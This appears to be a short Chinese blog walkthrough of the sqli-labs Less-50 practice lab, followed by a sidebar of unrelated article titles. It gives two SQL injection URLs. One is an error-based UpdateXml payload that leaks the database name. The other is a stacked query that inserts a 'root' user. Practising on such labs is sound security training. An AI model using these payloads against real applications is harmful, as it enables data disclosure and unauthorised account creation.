报错没有关闭，直接可以用UpdateXml函数

http://192.168.136.128/sqli-labs-master/Less-50/?sort=1 and UpdateXml(1,concat(0x7e,database(),0x7e),1)

用堆叠注入

http://192.168.136.128/sqli-labs-master/Less-50/?sort=1;insert into users(id,username,password) value (15,'root','root')

最新文章

1. javascript的window.ActiveXObject对象，区别浏览器的方法
2. [CC]点云密度计算
3. 连接弹性和命令拦截的 ASP.NET MVC 应用程序中的实体框架
4. Java band [Cite]
5. jQuery EasyUI 数据网格 - 启用行内编辑（转自http://www.runoob.com/jeasyui/jeasyui-datagrid-datagrid12.html）
6. bzoj1176 2683
7. Python正则表达式一： 基本使用方法
8. 原生js轮播图
9. vue开发项目的坑
10. Oracle学习笔记_09_字符串相关函数
11. MSIL实用指南-装箱拆箱
12. 搞懂Python的类和对象名称空间
13. 升级华为s2016
14. 2015/11/5用Python写游戏，pygame入门(5)：面向对象的游戏设计
15. C#编写Windows服务程序 (服务端),client使用 消息队列 实现淘宝 订单全链路效果
16. 当点击onBackpress方法或者onKeyDown方法时出现不能响应的问题解决办法
17. 【我的Android进阶之旅】 高效的设计稿标注及测量工具Markman介绍
18. (0!=0)==true? 记一个匪夷所思的问题
19. Newtonsoft.Json之JArray, JObject, JProperty,JValue
20. tensorflow session会话控制

热门文章

1. Spring Cloud ZooKeeper集成Feign的坑2，服务调用了一次后第二次调用就变成了500，错误：Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception [Request processing failed; nested exception is com.n
2. SystemTapでMySQL 5.5のDisk I/Oを分析する
3. ci output
4. Spring MVC JSON自己定义类型转换（续）
5. ganglia收集hbase的metrics
6. Android Studio底边栏选项不见了，怎样调出来
7. LeetCode总结--二分查找篇
8. WPF学习笔记：获取ListBox的选中项
9. Linux gadget驱动分析3------复合设备驱动
10. iOS开发】之CocoaAsyncSocket使用